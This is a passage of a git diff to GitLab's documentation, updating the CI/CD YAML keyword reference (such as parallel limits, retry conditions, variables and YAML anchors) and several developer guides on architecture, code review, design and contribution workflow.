`cache:when` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0. @@ -2820,6 +2864,8 @@ You must: ### `parallel` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum value for `parallel` is increased from 50 to 200. + Use `parallel` to run a job multiple times in parallel in a single pipeline. Multiple runners must exist, or a single runner must be configured to run multiple jobs concurrently. @@ -2830,7 +2876,7 @@ Parallel jobs are named sequentially from `job_name 1/N` to `job_name N/N`. **Possible inputs**: -- A numeric value from `2` to `50`. +- A numeric value from `2` to `200`. **Example of `parallel`**: @@ -2855,6 +2901,7 @@ This example creates 5 jobs that run in parallel, named `test 1/5` to `test 5/5` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3. > - The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum number of permutations is increased from 50 to 200. Use `parallel:matrix` to run a job multiple times in parallel in a single pipeline, but with different variable values for each instance of the job. @@ -2867,7 +2914,7 @@ Multiple runners must exist, or a single runner must be configured to run multip - The variable names can use only numbers, letters, and underscores (`_`). - The values must be either a string, or an array of strings. -- The number of permutations cannot exceed 50. +- The number of permutations cannot exceed 200. **Example of `parallel:matrix`**: @@ -3242,7 +3289,9 @@ Use `retry:when` with `retry:max` to retry jobs for only specific failure cases. - `always`: Retry on any failure (default). - `unknown_failure`: Retry when the failure reason is unknown. -- `script_failure`: Retry when the script failed. +- `script_failure`: Retry when: + - The script failed. + - The runner failed to pull the Docker image. For `docker`, `docker+machine`, `kubernetes` [executors](https://docs.gitlab.com/runner/executors/). - `api_failure`: Retry on API failure. - `stuck_or_timeout_failure`: Retry when the job got stuck or timed out. - `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed). @@ -3332,8 +3381,8 @@ Use `rules:if` clauses to specify when to add a job to a pipeline: - If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline. - If no `if` statements are true, do not add the job to the pipeline. -`if` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) -or [custom CI/CD variables](../variables/index.md#custom-cicd-variables), with +`if` clauses are evaluated based on the values of [CI/CD variables](../variables/index.md) +or [predefined CI/CD variables](../variables/predefined_variables.md), with [some exceptions](../variables/where_variables_can_be_used.md#gitlab-ciyml-file). **Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job @@ -3451,7 +3500,7 @@ any subkeys. All additional details and related topics are the same. **Possible inputs**: -- An array of file paths. In GitLab 13.6 and later, [file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). +- An array of file paths. [File paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). **Example of `rules:changes:paths`**: @@ -3657,7 +3706,7 @@ Use `secrets` to specify [CI/CD secrets](../secrets/index.md) to: - Retrieve from an external secrets provider. - Make available in the job as [CI/CD variables](../variables/index.md) - ([`file` type](../variables/index.md#cicd-variable-types) by default). + ([`file` type](../variables/index.md#use-file-type-cicd-variables) by default). This keyword must be used with `secrets:vault`. @@ -3716,7 +3765,7 @@ job: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1. Use `secrets:file` to configure the secret to be stored as either a -[`file` or `variable` type CI/CD variable](../variables/index.md#cicd-variable-types) +[`file` or `variable` type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) By default, the secret is passed to the job as a `file` type CI/CD variable. The value of the secret is stored in the file and the variable contains the path to the file. @@ -4252,8 +4301,8 @@ child3: ### `variables` -[CI/CD variables](../variables/index.md) are configurable values that are passed to jobs. -Use `variables` to create [custom variables](../variables/index.md#custom-cicd-variables). +Use `variables` to define [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), +which are configurable values that are passed to jobs. Variables are always available in `script`, `before_script`, and `after_script` commands. You can also use variables as inputs in some job keywords. @@ -4298,7 +4347,7 @@ deploy_review_job: - All YAML-defined variables are also set to any linked [Docker service containers](../services/index.md). - YAML-defined variables are meant for non-sensitive project configuration. Store sensitive information - in [protected variables](../variables/index.md#protected-cicd-variables) or [CI/CD secrets](../secrets/index.md). + in [protected variables](../variables/index.md#protect-a-cicd-variable) or [CI/CD secrets](../secrets/index.md). - [Manual pipeline variables](../variables/index.md#override-a-defined-cicd-variable) and [scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule) are not passed to downstream pipelines by default. Use [trigger:forward](#triggerforward) @@ -4306,7 +4355,6 @@ deploy_review_job: **Related topics**: -- You can use [YAML anchors for variables](yaml_optimization.md#yaml-anchors-for-variables). - [Predefined variables](../variables/predefined_variables.md) are variables the runner automatically creates and makes available in the job. - You can [configure runner behavior with variables](../runners/configure_runners.md#configure-runner-behavior-with-variables). @@ -4348,10 +4396,7 @@ variables: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353991) in GitLab 15.6 [with a flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.6. > - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.7. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature per project, -ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.8. Feature flag `ci_raw_variables_in_yaml_config` removed. Use the `expand` keyword to configure a variable to be expandable or not. @@ -4394,7 +4439,7 @@ the default value is `when: on_success`. or have `allow_failure: true`. - `manual`: Run the job only when [triggered manually](../jobs/job_control.md#create-a-job-that-must-be-run-manually). - `always`: Run the job regardless of the status of jobs in earlier stages. Can also be used in `workflow:rules`. -- `on_failure`: Run the job only when at least one job in an earlier stage fails. +- `on_failure`: Run the job only when at least one job in an earlier stage fails. A job with `allow_failure: true` is always considered successful. - `delayed`: [Delay the execution of a job](../jobs/job_control.md#run-a-job-after-a-delay) for a specified duration. - `never`: Don't run the job. Can only be used in a [`rules`](#rules) section or `workflow: rules`. diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index 1d3186a4047..1c31191c2f4 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -203,7 +203,7 @@ job: - echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again." ``` -You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/index.md#custom-cicd-variables), +You can define the color codes in Shell environment variables, or even [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), which makes the commands easier to read and reusable. For example, using the same example as above and environment variables defined in a `before_script`: @@ -284,3 +284,59 @@ job-fails: - (invalid-command xyz && invalid-command abc) - echo "The job failed already, and this is not executed." ``` + +### Multiline commands not preserved by folded YAML multiline block scalar + +If you use the `- >` folded YAML multiline block scalar to split long commands, +additional indentation causes the lines to be processed as individual commands. + +For example: + +```yaml +script: + - > + RESULT=$(curl --silent + --header + "Authorization: Bearer $CI_JOB_TOKEN" + "${CI_API_V4_URL}/job" + ) +``` + +This fails as the indentation causes the line breaks to be preserved: + + + +```plaintext +$ RESULT=$(curl --silent # collapsed multi-line command +curl: no URL specified! +curl: try 'curl --help' or 'curl --manual' for more information +/bin/bash: line 149: --header: command not found +/bin/bash: line 150: https://gitlab.example.com/api/v4/job: No such file or directory +``` + + + +Resolve this by either: + +- Removing the extra indentation: + + ```yaml + script: + - > + RESULT=$(curl --silent + --header + "Authorization: Bearer $CI_JOB_TOKEN" + "${CI_API_V4_URL}/job" + ) + ``` + +- Modifying the script so the extra line breaks are handled, for example using shell line continuation: + + ```yaml + script: + - > + RESULT=$(curl --silent \ + --header \ + "Authorization: Bearer $CI_JOB_TOKEN" \ + "${CI_API_V4_URL}/job") + ``` diff --git a/doc/ci/yaml/yaml_optimization.md b/doc/ci/yaml/yaml_optimization.md index 5344a999b95..07019a2776f 100644 --- a/doc/ci/yaml/yaml_optimization.md +++ b/doc/ci/yaml/yaml_optimization.md @@ -13,7 +13,7 @@ files by using: - YAML-specific features like [anchors (`&`)](#anchors), aliases (`*`), and map merging (`<<`). Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). - The [`extends` keyword](#use-extends-to-reuse-configuration-sections), - which is more flexible and readable. We recommend you use `extends` where possible. + which is more flexible and readable. You should use `extends` where possible. ## Anchors @@ -21,10 +21,20 @@ YAML has a feature called 'anchors' that you can use to duplicate content across your document. Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](../jobs/index.md#hide-jobs) -to provide templates for your jobs. When there are duplicate keys, GitLab -performs a reverse deep merge based on the keys. +to provide templates for your jobs. When there are duplicate keys, the latest included key wins, overriding the other keys. -You can use YAML anchors to merge YAML arrays. +In certain cases (see [YAML anchors for scripts](#yaml-anchors-for-scripts)), you can use YAML anchors to build arrays with multiple components defined elsewhere. For example: + +```yaml +.default_scripts: &default_scripts + - ./default-script1.sh + - ./default-script2.sh + +job1: + script: + - *default_scripts + - ./job-script.sh +``` You can't use YAML anchors across multiple files when using the [`include`](index.md#include) keyword. Anchors are only valid in the file they were defined in. To reuse configuration @@ -43,12 +53,12 @@ with their own custom `script` defined: - redis test1: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias + <<: *job_configuration # Add the contents of the 'job_configuration' alias script: - test1 project test2: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias + <<: *job_configuration # Add the contents of the 'job_configuration' alias script: - test2 project ``` @@ -189,30 +199,6 @@ job2: - *some-script-after ``` -### YAML anchors for variables - -Use [YAML anchors](#anchors) with `variables` to repeat assignment -of variables across multiple jobs. You can also use YAML anchors when a job -requires a specific `variables` block that would otherwise override the global variables. - -The following example shows how override the `GIT_STRATEGY` variable without affecting -the use of the `SAMPLE_VARIABLE` variable: - -```yaml -# global variables -variables: &global-variables - SAMPLE_VARIABLE: sample_variable_value - ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value - -# a job that must set the GIT_STRATEGY variable, yet depend on global variables -job_no_git_strategy: - stage: cleanup - variables: - <<: *global-variables - GIT_STRATEGY: none - script: echo $SAMPLE_VARIABLE -``` - ## Use `extends` to reuse configuration sections You can use the [`extends` keyword](index.md#extends) to reuse configuration in @@ -331,8 +317,9 @@ to the contents of the `script`: ### Merge details You can use `extends` to merge hashes but not arrays. -The algorithm used for merge is "closest scope wins," so -keys from the last member always override anything defined on other +The algorithm used for merge is "closest scope wins". When there are +duplicate keys, GitLab performs a reverse deep merge based on the keys. +Keys from the last member always override anything defined on other levels. For example: ```yaml diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md index 0048b10c9da..ee14d8e6414 100644 --- a/doc/development/adding_service_component.md +++ b/doc/development/adding_service_component.md @@ -87,6 +87,10 @@ In addition, any system dependencies used in Omnibus packages or the Cloud Nativ ## Release management -If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery team](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). A list of the projects managed this way can be found in the [release tools project directory](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). +If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery group](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). + +There are different levels of automation available to include a component in GitLab releases. The requirements and process for including a component in a release at these different levels are detailed in the [release documentation](https://gitlab.com/gitlab-org/release/docs/-/tree/master/components). + +A list of the projects with releases managed by release tools can be found in the [release tools project directory](https://gitlab.com/gitlab-org/release-tools/-/tree/master/lib/release_tools/project). For example, during the monthly GitLab release, the desired version of Gitaly, GitLab Workhorse and GitLab Shell need to be synchronized through the various release pipelines. diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index e0db0d7e34d..396bba2623e 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -785,7 +785,7 @@ The documentation will mention that the old Global ID style is now deprecated. ## Mark schema items as Alpha You can mark GraphQL schema items (fields, arguments, enum values, and mutations) as -[Alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga). +[Alpha](../policy/alpha-beta-support.md#alpha-features). An item marked as Alpha is [exempt from the deprecation process](#breaking-change-exemptions) and can be removed at any time without notice. Mark an item as Alpha when it is diff --git a/doc/development/application_slis/index.md b/doc/development/application_slis/index.md index 75dd066680e..bd4587333e0 100644 --- a/doc/development/application_slis/index.md +++ b/doc/development/application_slis/index.md @@ -66,7 +66,7 @@ Gitlab::Metrics::Sli::Apdex.initialize_sli(:received_email, [ email_type: :service_desk }, { - feature_category: :code_review, + feature_category: :code_review_workflow, email_type: :create_merge_request } ]) diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md index 312bf2b1bb7..f75cf35b32a 100644 --- a/doc/development/approval_rules.md +++ b/doc/development/approval_rules.md @@ -4,7 +4,7 @@ group: Code Review info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Approval Rules development guide **(FREE)** +# Approval Rules development guide This document explains the backend design and flow of all related functionality about [merge request approval rules](../user/project/merge_requests/approvals/index.md). diff --git a/doc/development/architecture.md b/doc/development/architecture.md index 5eb1dcc3208..cba868d3fed 100644 --- a/doc/development/architecture.md +++ b/doc/development/architecture.md @@ -543,7 +543,8 @@ GitLab CI/CD is the open-source continuous integration service included with Git #### GitLab Shell -- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md) +- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/) +- [Documentation](gitlab_shell/index.md) - Configuration: - [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template) - [Charts](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/) @@ -552,7 +553,7 @@ GitLab CI/CD is the open-source continuous integration service included with Git - Layer: Core Service (Processor) - GitLab.com: [Service Architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/#service-architecture) -[GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) is a program designed at GitLab to handle SSH-based `git` sessions, and modifies the list of authorized keys. GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh. +[GitLab Shell](gitlab_shell/index.md) is a program designed at GitLab to handle SSH-based `git` sessions, and modifies the list of authorized keys. GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh. #### GitLab Workhorse @@ -761,7 +762,7 @@ See our [Redis guidelines](redis.md) for more information about how GitLab uses - [Source](../administration/packages/container_registry.md#enable-the-container-registry) - [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/registry.md) - Layer: Core Service (Processor) -- GitLab.com: [GitLab Container Registry](../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) +- GitLab.com: [GitLab Container Registry](../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd) The registry is what users use to store their own Docker images. The bundled registry uses NGINX as a load balancer and GitLab as an authentication manager. diff --git a/doc/development/audit_event_guide/index.md b/doc/development/audit_event_guide/index.md index dfa6d56b3b5..8df5121a2f7 100644 --- a/doc/development/audit_event_guide/index.md +++ b/doc/development/audit_event_guide/index.md @@ -243,5 +243,5 @@ development. We intentionally do not translate audit event messages because translated messages would be saved in the database and served to users, regardless of their locale settings. -This could mean, for example, that we use the locale for the currently logged in user to record an audit event message and stream the message to an external streaming +This could mean, for example, that we use the locale for the currently authenticated user to record an audit event message and stream the message to an external streaming destination in the wrong language for that destination. Users could find that confusing. diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md index 7a684f64d64..53033cd19ff 100644 --- a/doc/development/auto_devops.md +++ b/doc/development/auto_devops.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Auto DevOps development guide **(FREE)** +# Auto DevOps development guide This document provides a development guide for contributors to [Auto DevOps](../topics/autodevops/index.md). diff --git a/doc/development/backend/create_source_code_be/index.md b/doc/development/backend/create_source_code_be/index.md index 8a1a541fac9..77c98982210 100644 --- a/doc/development/backend/create_source_code_be/index.md +++ b/doc/development/backend/create_source_code_be/index.md @@ -30,8 +30,7 @@ that would not work efficiently without Workhorse. ## GitLab Shell GitLab Shell handles Git SSH sessions for GitLab and modifies the list of authorized keys. -For more information, [refer to the README](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md). -for GitLab Shell. +For more information, refer to the [GitLab Shell documentation](../../gitlab_shell/index.md). To learn about the reasoning behind our creation of `gitlab-sshd`, read the blog post [Why we implemented our own SSHD solution](https://about.gitlab.com/blog/2022/08/17/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass/). @@ -48,3 +47,5 @@ For more information, read [Gitaly touch points](gitaly_touch_points.md). Create: Source Code has over 100 REST endpoints, being a mixture of Grape API endpoints and Rails controller endpoints. For a detailed list, refer to [Source Code REST Endpoints](rest_endpoints.md). + +An alternative list of the [Source Code endpoints and other owned objects](https://gitlab-com.gitlab.io/gl-infra/platform/stage-groups-index/source-code.html) is available. diff --git a/doc/development/cached_queries.md b/doc/development/cached_queries.md index e4625a50d79..1b590d68d18 100644 --- a/doc/development/cached_queries.md +++ b/doc/development/cached_queries.md @@ -37,9 +37,9 @@ in-memory objects whenever possible. When you introduce a new feature, you should: - Avoid N+1 queries. -- Minimize the [query count](merge_request_performance_guidelines.md#query-counts). +- Minimize the [query count](merge_request_concepts/performance.md#query-counts). - Pay special attention to ensure - [cached queries](merge_request_performance_guidelines.md#cached-queries) are not + [cached queries](merge_request_concepts/performance.md#cached-queries) are not masking N+1 problems. ## How to detect cached queries @@ -163,5 +163,5 @@ factors help improve the overall execution time: ## For more information - [Metrics that would help us detect the potential N+1 Cached SQL calls](https://gitlab.com/gitlab-org/gitlab/-/issues/259007) -- [Merge request performance guidelines for cached queries](merge_request_performance_guidelines.md#cached-queries) +- [Merge request performance guidelines for cached queries](merge_request_concepts/performance.md#cached-queries) - [Improvements for biggest offenders](https://gitlab.com/groups/gitlab-org/-/epics/4508) diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md index c9cb2591e4e..378639c4a43 100644 --- a/doc/development/chatops_on_gitlabcom.md +++ b/doc/development/chatops_on_gitlabcom.md @@ -22,12 +22,12 @@ To request access to ChatOps on GitLab.com: 1. Sign in to [Internal GitLab for Operations](https://ops.gitlab.net/users/sign_in) with one of the following methods (Okta is not supported): - - The same username you use on GitLab.com. You may have to choose a different username later. + - The same username you use on GitLab.com. - Selecting the **Sign in with Google** button to sign in with your GitLab.com email address. 1. Confirm that your username in [Internal GitLab for Operations](https://ops.gitlab.net/) is the same as your username in [GitLab.com](https://gitlab.com/). If the usernames - don't match, update the username in [User Settings/Account for the Ops instance](https://ops.gitlab.net/-/profile/account). + don't match, update the username in [User Settings/Account for the Ops instance](https://ops.gitlab.net/-/profile/account). Matching usernames are required to reduce the administrative effort of running multiple platforms. Matching usernames also help with tasks like managing access requests and offboarding. 1. Comment in your onboarding issue, and tag your onboarding buddy and your manager. Request they add you to the `ops` ChatOps project by running this command diff --git a/doc/development/cicd/cicd_reference_documentation_guide.md b/doc/development/cicd/cicd_reference_documentation_guide.md index 8c75e66c33a..530bc62b603 100644 --- a/doc/development/cicd/cicd_reference_documentation_guide.md +++ b/doc/development/cicd/cicd_reference_documentation_guide.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Documenting the `.gitlab-ci.yml` keywords **(FREE)** +# Documenting the `.gitlab-ci.yml` keywords The [CI/CD YAML reference](../../ci/yaml/index.md) uses a standard style to make it easier to use and update. diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index 73ece709b8d..2a60ca18169 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, concepts, howto --- -# CI/CD development documentation **(FREE)** +# CI/CD development documentation Development guides that are specific to CI/CD are listed here: @@ -198,5 +198,5 @@ Watch a walkthrough of this feature in details in the video below. See the video: CI/CD minutes - architectural overview.
- +
diff --git a/doc/development/cicd/schema.md b/doc/development/cicd/schema.md index 22896594443..26e63fb53d8 100644 --- a/doc/development/cicd/schema.md +++ b/doc/development/cicd/schema.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, howto --- -# Contribute to the CI/CD Schema **(FREE)** +# Contribute to the CI/CD Schema The [pipeline editor](../../ci/pipeline_editor/index.md) uses a CI/CD schema to enhance the authoring experience of our CI/CD configuration files. With the CI/CD schema, the editor can: @@ -17,9 +17,6 @@ the authoring experience of our CI/CD configuration files. With the CI/CD schema As the rules and keywords for configuring our CI/CD configuration files change, so too should our CI/CD schema. -This feature is behind the [`schema_linting`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/feature_flags/development/schema_linting.yml) -feature flag for self-managed instances, and is enabled for GitLab.com. - ## JSON Schemas The CI/CD schema follows the [JSON Schema Draft-07](https://json-schema.org/draft-07/json-schema-release-notes.html) @@ -140,7 +137,6 @@ under the topmost **properties** key. ### Verify changes -1. Enable the `schema_linting` feature flag. 1. Go to **CI/CD** > **Editor**. 1. Write your CI/CD configuration in the editor and verify that the schema validates it correctly. diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md index 6bc6c57e809..4f6799d12d8 100644 --- a/doc/development/cicd/templates.md +++ b/doc/development/cicd/templates.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, concepts, howto --- -# Development guide for GitLab CI/CD templates **(FREE)** +# Development guide for GitLab CI/CD templates This document explains how to develop [GitLab CI/CD templates](../../ci/examples/index.md#cicd-templates). diff --git a/doc/development/code_intelligence/index.md b/doc/development/code_intelligence/index.md index f8fb794053d..107a1588e18 100644 --- a/doc/development/code_intelligence/index.md +++ b/doc/development/code_intelligence/index.md @@ -4,7 +4,7 @@ group: Code Review info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Code Intelligence **(FREE)** +# Code Intelligence > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/1576) in GitLab 13.1. diff --git a/doc/development/code_review.md b/doc/development/code_review.md index 30d9d671038..e194453565a 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -197,10 +197,11 @@ See the [test engineering process](https://about.gitlab.com/handbook/engineering 1. You have properly separated EE content from FOSS, or this MR is FOSS only. - [Where should EE code go?](ee_features.md) 1. You have considered that existing data may be surprisingly varied. For example, a new model validation can break existing records. Consider making validation on existing data optional rather than required if you haven't confirmed that existing data will pass validation. +1. If a test passes with warnings and the failed job includes the text `Flaky test '' was found in the list of files changed by this MR.`, you have fixed this test, or provided evidence explaining why this flaky test can be ignored. ##### Performance, reliability, and availability -1. You are confident that this MR does not harm performance, or you have asked a reviewer to help assess the performance impact. ([Merge request performance guidelines](merge_request_performance_guidelines.md)) +1. You are confident that this MR does not harm performance, or you have asked a reviewer to help assess the performance impact. ([Merge request performance guidelines](merge_request_concepts/performance.md)) 1. You have added [information for database reviewers in the MR description](database_review.md#required), or you have decided that it is unnecessary. - [Does this MR have database-related changes?](database_review.md) 1. You have considered the availability and reliability risks of this change. @@ -234,6 +235,10 @@ See the [test engineering process](https://about.gitlab.com/handbook/engineering - [When to use a feature flag](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#when-to-use-feature-flags) 1. You have informed the Infrastructure department of a default setting or new setting change per [definition of done](contributing/merge_request_workflow.md#definition-of-done), or decided that this is unnecessary. +##### Compliance + +1. You have confirmed that the correct [MR type label](contributing/issue_workflow.md#type-labels) has been applied. + ### The responsibility of the merge request author The responsibility to find the best solution and implement it lies with the @@ -510,6 +515,7 @@ WARNING: Before taking the decision to merge: - Set the milestone. +- Confirm that the correct [MR type label](contributing/issue_workflow.md#type-labels) is applied. - Consider warnings and errors from danger bot, code quality, and other reports. Unless a strong case can be made for the violation, these should be resolved before merging. A comment must be posted if the MR is merged with any failed job. @@ -557,7 +563,7 @@ WARNING: [very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master). For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master). - If the latest pipeline was created before the merge request was approved, start a new pipeline to ensure that full RSpec suite has been run. You may skip this step only if the merge request does not contain any backend change. - - If the **latest [merged results pipeline](../ci/pipelines/merged_results_pipelines.md)** finished less than 2 hours ago, you + - If the **latest [merged results pipeline](../ci/pipelines/merged_results_pipelines.md)** was **created less than 6 hours ago**, and **finished less than 2 hours ago**, you may merge without starting a new pipeline as the merge request is close enough to `main`. - When you set the MR to "Merge When Pipeline Succeeds", you should take over diff --git a/doc/development/contributing/design.md b/doc/development/contributing/design.md index b8d7a8eef39..aec487ed184 100644 --- a/doc/development/contributing/design.md +++ b/doc/development/contributing/design.md @@ -47,7 +47,7 @@ Check these aspects both when _designing_ and _reviewing_ UI changes. as the secondary. - Use clear and consistent [terminology](https://design.gitlab.com/content/terminology/). - Check grammar and spelling. -- Consider help content and follow its [guidelines](https://design.gitlab.com/usability/helping-users/). +- Consider help content and follow its [guidelines](https://design.gitlab.com/usability/contextual-help). - Request review from the [appropriate Technical Writer](https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments), indicating any specific files or lines they should review, and how to preview or understand the location/context of the text from the user's perspective. @@ -64,9 +64,9 @@ Check these aspects both when _designing_ and _reviewing_ UI changes. Check visual design properties using your browser's _elements inspector_ ([Chrome](https://developer.chrome.com/docs/devtools/css/), [Firefox](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/open_the_inspector/index.html)). -- Use recommended [colors](https://design.gitlab.com/product-foundations/colors/) +- Use recommended [colors](https://design.gitlab.com/product-foundations/color) and [typography](https://design.gitlab.com/product-foundations/type-fundamentals/). -- Follow [layout guidelines](https://design.gitlab.com/layout/grid/). +- Follow [layout guidelines](https://design.gitlab.com/product-foundations/layout#grid). - Use existing [icons](https://gitlab-org.gitlab.io/gitlab-svgs/) and [illustrations](https://gitlab-org.gitlab.io/gitlab-svgs/illustrations/) or propose new ones according to [iconography](https://design.gitlab.com/product-foundations/iconography/) and [illustration](https://design.gitlab.com/product-foundations/illustration/) @@ -81,9 +81,8 @@ Check states using your browser's _styles inspector_ to toggle CSS pseudo-classe like `:hover` and others ([Chrome](https://developer.chrome.com/docs/devtools/css/reference/#pseudo-class), [Firefox](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/examine_and_edit_css/index.html#viewing-common-pseudo-classes)). -- Account for all applicable states ([error](https://design.gitlab.com/content/error-messages/), - rest, loading, focus, hover, selected, disabled). -- Account for states dependent on data size ([empty](https://design.gitlab.com/regions/empty-states/), +- Account for all applicable states (error, rest, loading, focus, hover, selected, disabled). +- Account for states dependent on data size ([empty](https://design.gitlab.com/patterns/empty-states), some data, and lots of data). - Account for states dependent on user role, user preferences, and subscription. - Consider animations and transitions, and follow their [guidelines](https://design.gitlab.com/product-foundations/motion/). @@ -126,7 +125,7 @@ When the design is ready, _before_ starting its implementation: At any moment, but usually _during_ or _after_ the design's implementation: -- Contribute [issues to Pajamas](https://design.gitlab.com/get-started/contribute/#contribute-an-issue) +- Contribute [issues to Pajamas](https://design.gitlab.com/get-started/contributing#contribute-an-issue) for additions or enhancements to the design system. - Create issues with the [`~UX debt`](issue_workflow.md#technical-and-ux-debt) label for intentional deviations from the agreed-upon UX requirements due to diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md index df337bb2809..9058eded2c7 100644 --- a/doc/development/contributing/issue_workflow.md +++ b/doc/development/contributing/issue_workflow.md @@ -51,7 +51,7 @@ Most issues will have labels for at least one of the following: - Specialization: `~frontend`, `~backend`, `~documentation` - Release Scoping: `~Deliverable`, `~Stretch`, `~"Next Patch Release"` - Priority: `~"priority::1"`, `~"priority::2"`, `~"priority::3"`, `~"priority::4"` -- Severity: ~`"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"` +- Severity: `~"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"` Please add `~"breaking change"` label if the issue can be considered as a [breaking change](../deprecation_guidelines/index.md). diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index f06e8825660..ac3afa14b81 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -195,7 +195,7 @@ the contribution acceptance criteria below: and testing future changes. 1. Changes do not degrade performance: - Avoid repeated polling of endpoints that require a significant amount of overhead. - - Check for N+1 queries via the SQL log or [`QueryRecorder`](../merge_request_performance_guidelines.md). + - Check for N+1 queries via the SQL log or [`QueryRecorder`](../merge_request_concepts/performance.md). - Avoid repeated access of the file system. - Use [polling with ETag caching](../polling.md) if needed to support real-time features. 1. If the merge request adds any new libraries (like gems or JavaScript libraries), @@ -223,7 +223,7 @@ requirements. 1. Working and clean code that is commented where needed. 1. The change is evaluated to [limit the impact of far-reaching work](https://about.gitlab.com/handbook/engineering/development/#reducing-the-impact-of-far-reaching-work). -1. [Performance 